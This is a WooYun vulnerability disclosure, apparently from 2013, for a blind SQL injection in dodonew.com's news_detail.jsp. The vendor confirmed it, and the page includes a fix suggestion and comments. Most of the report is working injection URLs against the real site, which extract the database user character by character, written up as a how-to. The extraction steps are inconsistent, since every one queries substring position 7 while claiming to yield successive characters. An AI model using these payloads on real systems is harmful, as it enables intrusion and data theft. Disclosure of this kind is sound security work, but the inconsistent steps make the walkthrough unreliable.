当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-017425

漏洞标题:嘟嘟牛主站一个sql盲注,mysql全手工盲注测试

相关厂商:嘟嘟牛

漏洞作者: shack2

提交时间:2013-01-17 13:57

修复时间:2013-03-03 13:57

公开时间:2013-03-03 13:57

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-01-17: 细节已通知厂商并且等待厂商处理中
2013-01-18: 厂商已经确认,细节仅向厂商公开
2013-01-28: 细节向核心白帽子及相关领域专家公开
2013-02-07: 细节向普通白帽子公开
2013-02-17: 细节向实习白帽子公开
2013-03-03: 细节向公众公开

简要描述:

主站sql盲注,今天来一个手工盲注,兄弟们也来学学手工盲注,丫的,手工测试真慢.

详细说明:

1.测试验证是否mysql

0x0.jpg

0x1.jpg


2.测试有多少表

a.jpg


b.jpg


448张表
3.查询一下当前用户长度
http://www.dodonew.com/news_detail.jsp?newsid=601 And (select length(user()))=12 返回正常页面
长度12位
4.爆当前用户

c0.jpg

c1.jpg

c2.jpg

c3.jpg


然后一直用SUBSTR函数截取的位置加1,把所有的ascii码判断出来,最后将ascii码转换字符串
下面是所有测试结果
1.
http://www.dodonew.com/news_detail.jsp?newsid=601 And (select ASCII(SUBSTR(user(),7,1)))>99 true
http://www.dodonew.com/news_detail.jsp?newsid=601 And (select ASCII(SUBSTR(user(),7,1)))>100 false
100
d
2.
http://www.dodonew.com/news_detail.jsp?newsid=601 And (select ASCII(SUBSTR(user(),7,1)))>100 true
http://www.dodonew.com/news_detail.jsp?newsid=601 And (select ASCII(SUBSTR(user(),7,1)))>101 false
101
e
3.
http://www.dodonew.com/news_detail.jsp?newsid=601 And (select ASCII(SUBSTR(user(),7,1)))>117 true
http://www.dodonew.com/news_detail.jsp?newsid=601 And (select ASCII(SUBSTR(user(),7,1)))>118 false
118
y
4.
http://www.dodonew.com/news_detail.jsp?newsid=601 And (select ASCII(SUBSTR(user(),7,1)))>63 true
http://www.dodonew.com/news_detail.jsp?newsid=601 And (select ASCII(SUBSTR(user(),7,1)))>64 false
64
@
5.
http://www.dodonew.com/news_detail.jsp?newsid=601 And (select ASCII(SUBSTR(user(),7,1)))>48 true
http://www.dodonew.com/news_detail.jsp?newsid=601 And (select ASCII(SUBSTR(user(),7,1)))>49 false
49
1
6.
http://www.dodonew.com/news_detail.jsp?newsid=601 And (select ASCII(SUBSTR(user(),7,1)))>47 true
http://www.dodonew.com/news_detail.jsp?newsid=601 And (select ASCII(SUBSTR(user(),7,1)))>48 false
48
0
7.
http://www.dodonew.com/news_detail.jsp?newsid=601 And (select ASCII(SUBSTR(user(),7,1)))>45 true
http://www.dodonew.com/news_detail.jsp?newsid=601 And (select ASCII(SUBSTR(user(),7,1)))>46 false
46
.
8.
http://www.dodonew.com/news_detail.jsp?newsid=601 And (select ASCII(SUBSTR(user(),7,1)))>47 true
http://www.dodonew.com/news_detail.jsp?newsid=601 And (select ASCII(SUBSTR(user(),7,1)))>48 false
48
0
9.
http://www.dodonew.com/news_detail.jsp?newsid=601 And (select ASCII(SUBSTR(user(),7,1)))>45 true
http://www.dodonew.com/news_detail.jsp?newsid=601 And (select ASCII(SUBSTR(user(),7,1)))>46 false
46
.
10.
http://www.dodonew.com/news_detail.jsp?newsid=601 And (select ASCII(SUBSTR(user(),7,1)))>49 true
http://www.dodonew.com/news_detail.jsp?newsid=601 And (select ASCII(SUBSTR(user(),7,1)))>50 false
50
2
11.
http://www.dodonew.com/news_detail.jsp?newsid=601 And (select ASCII(SUBSTR(user(),7,1)))>45 true
http://www.dodonew.com/news_detail.jsp?newsid=601 And (select ASCII(SUBSTR(user(),7,1)))>46 false
46
.
12.
http://www.dodonew.com/news_detail.jsp?newsid=601 And (select ASCII(SUBSTR(user(),7,1)))>51 true
http://www.dodonew.com/news_detail.jsp?newsid=601 And (select ASCII(SUBSTR(user(),7,1)))>52 false
52
4
最后看当前mysql用户:dey@10.0.2.4
爆库爆表都这个原理,先判断字段长度,然后截取每一位转换ascii码,判断大小,最后转换ascii吗,得到字符
你看懂了吗,boolean型盲注,如果没懂,建议学学数据库查询
手工注入原理,先要了解sql语法,只要学会了sql语法,手工注入不在是梦
最后提升,测试sqlmap,havij,pangolin这些注入工具都是注入不了的

漏洞证明:

1.测试验证是否mysql

0x0.jpg

0x1.jpg


2.测试有多少表

a.jpg


b.jpg


448张表
3.查询一下当前用户长度
http://www.dodonew.com/news_detail.jsp?newsid=601 And (select length(user()))=12 返回正常页面
长度12位
4.爆当前用户

c0.jpg

c1.jpg

c2.jpg

c3.jpg


然后一直用SUBSTR函数截取的位置加1,把所有的ascii码判断出来,最后将ascii码转换字符串
下面是所有测试结果
1.
http://www.dodonew.com/news_detail.jsp?newsid=601 And (select ASCII(SUBSTR(user(),7,1)))>99 true
http://www.dodonew.com/news_detail.jsp?newsid=601 And (select ASCII(SUBSTR(user(),7,1)))>100 false
100
d
2.
http://www.dodonew.com/news_detail.jsp?newsid=601 And (select ASCII(SUBSTR(user(),7,1)))>100 true
http://www.dodonew.com/news_detail.jsp?newsid=601 And (select ASCII(SUBSTR(user(),7,1)))>101 false
101
e
3.
http://www.dodonew.com/news_detail.jsp?newsid=601 And (select ASCII(SUBSTR(user(),7,1)))>117 true
http://www.dodonew.com/news_detail.jsp?newsid=601 And (select ASCII(SUBSTR(user(),7,1)))>118 false
118
y
4.
http://www.dodonew.com/news_detail.jsp?newsid=601 And (select ASCII(SUBSTR(user(),7,1)))>63 true
http://www.dodonew.com/news_detail.jsp?newsid=601 And (select ASCII(SUBSTR(user(),7,1)))>64 false
64
@
5.
http://www.dodonew.com/news_detail.jsp?newsid=601 And (select ASCII(SUBSTR(user(),7,1)))>48 true
http://www.dodonew.com/news_detail.jsp?newsid=601 And (select ASCII(SUBSTR(user(),7,1)))>49 false
49
1
6.
http://www.dodonew.com/news_detail.jsp?newsid=601 And (select ASCII(SUBSTR(user(),7,1)))>47 true
http://www.dodonew.com/news_detail.jsp?newsid=601 And (select ASCII(SUBSTR(user(),7,1)))>48 false
48
0
7.
http://www.dodonew.com/news_detail.jsp?newsid=601 And (select ASCII(SUBSTR(user(),7,1)))>45 true
http://www.dodonew.com/news_detail.jsp?newsid=601 And (select ASCII(SUBSTR(user(),7,1)))>46 false
46
.
8.
http://www.dodonew.com/news_detail.jsp?newsid=601 And (select ASCII(SUBSTR(user(),7,1)))>47 true
http://www.dodonew.com/news_detail.jsp?newsid=601 And (select ASCII(SUBSTR(user(),7,1)))>48 false
48
0
9.
http://www.dodonew.com/news_detail.jsp?newsid=601 And (select ASCII(SUBSTR(user(),7,1)))>45 true
http://www.dodonew.com/news_detail.jsp?newsid=601 And (select ASCII(SUBSTR(user(),7,1)))>46 false
46
.
10.
http://www.dodonew.com/news_detail.jsp?newsid=601 And (select ASCII(SUBSTR(user(),7,1)))>49 true
http://www.dodonew.com/news_detail.jsp?newsid=601 And (select ASCII(SUBSTR(user(),7,1)))>50 false
50
2
11.
http://www.dodonew.com/news_detail.jsp?newsid=601 And (select ASCII(SUBSTR(user(),7,1)))>45 true
http://www.dodonew.com/news_detail.jsp?newsid=601 And (select ASCII(SUBSTR(user(),7,1)))>46 false
46
.
12.
http://www.dodonew.com/news_detail.jsp?newsid=601 And (select ASCII(SUBSTR(user(),7,1)))>51 true
http://www.dodonew.com/news_detail.jsp?newsid=601 And (select ASCII(SUBSTR(user(),7,1)))>52 false
52
4
最后看当前mysql用户:dey@10.0.2.4
爆库爆表都这个原理,先判断字段长度,然后截取每一位转换ascii码,判断大小,最后转换ascii吗,得到字符
你看懂了吗,boolean型盲注,如果没懂,建议学学数据库查询
手工注入原理,先要了解sql语法,只要学会了sql语法,手工注入不在是梦
最后提升,测试sqlmap,havij,pangolin这些注入工具都是注入不了的

修复方案:

过滤关键字符,如 and,select

版权声明:转载请注明来源 shack2@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2013-01-18 09:40

厂商回复:

谢谢shack2关注,已提交技术部处理

最新状态:

暂无


漏洞评价:

评论

  1. 2013-01-17 14:25 | 园长 ( 普通白帽子 | Rank:134 漏洞数:14 | 你在身边就是缘,缘分写在数据库里面。)

    你动作真快。

  2. 2013-01-17 14:30 | shack2 ( 普通白帽子 | Rank:470 漏洞数:71 | QQ:1341413415 一个热爱编程(Java),热爱网...)

    @园长 嘎嘎

  3. 2013-01-17 14:36 | upload ( 普通白帽子 | Rank:251 漏洞数:43 | 此处略--!)

    猪肉耶

  4. 2013-01-17 14:37 | shack2 ( 普通白帽子 | Rank:470 漏洞数:71 | QQ:1341413415 一个热爱编程(Java),热爱网...)

    @园长 终于知道嘟嘟牛的裤子怎么被脱的了755万用户啊

  5. 2013-01-17 14:40 | 园长 ( 普通白帽子 | Rank:134 漏洞数:14 | 你在身边就是缘,缘分写在数据库里面。)

    @shack2 低调,小心送快递。

  6. 2013-01-17 19:25 | also ( 普通白帽子 | Rank:424 漏洞数:52 | 招渗透/php/前端/ios&android安全,广州地...)

    手工搞得跟傻逼一样还没 注出来···

  7. 2013-01-18 17:12 | 孤心 ( 路人 | Rank:5 漏洞数:3 | php程序猿!渗透.入侵.社工...等我都不会!)

    嘟嘟牛最近爆了不少洞啊

  8. 2013-03-03 15:54 | /fd ( 路人 | Rank:8 漏洞数:1 )

    手工盲注...服了

  9. 2014-01-24 01:12 | Stranger ( 路人 | Rank:0 漏洞数:1 | 我注意你很久了.....)

    写的不错,感觉很受用...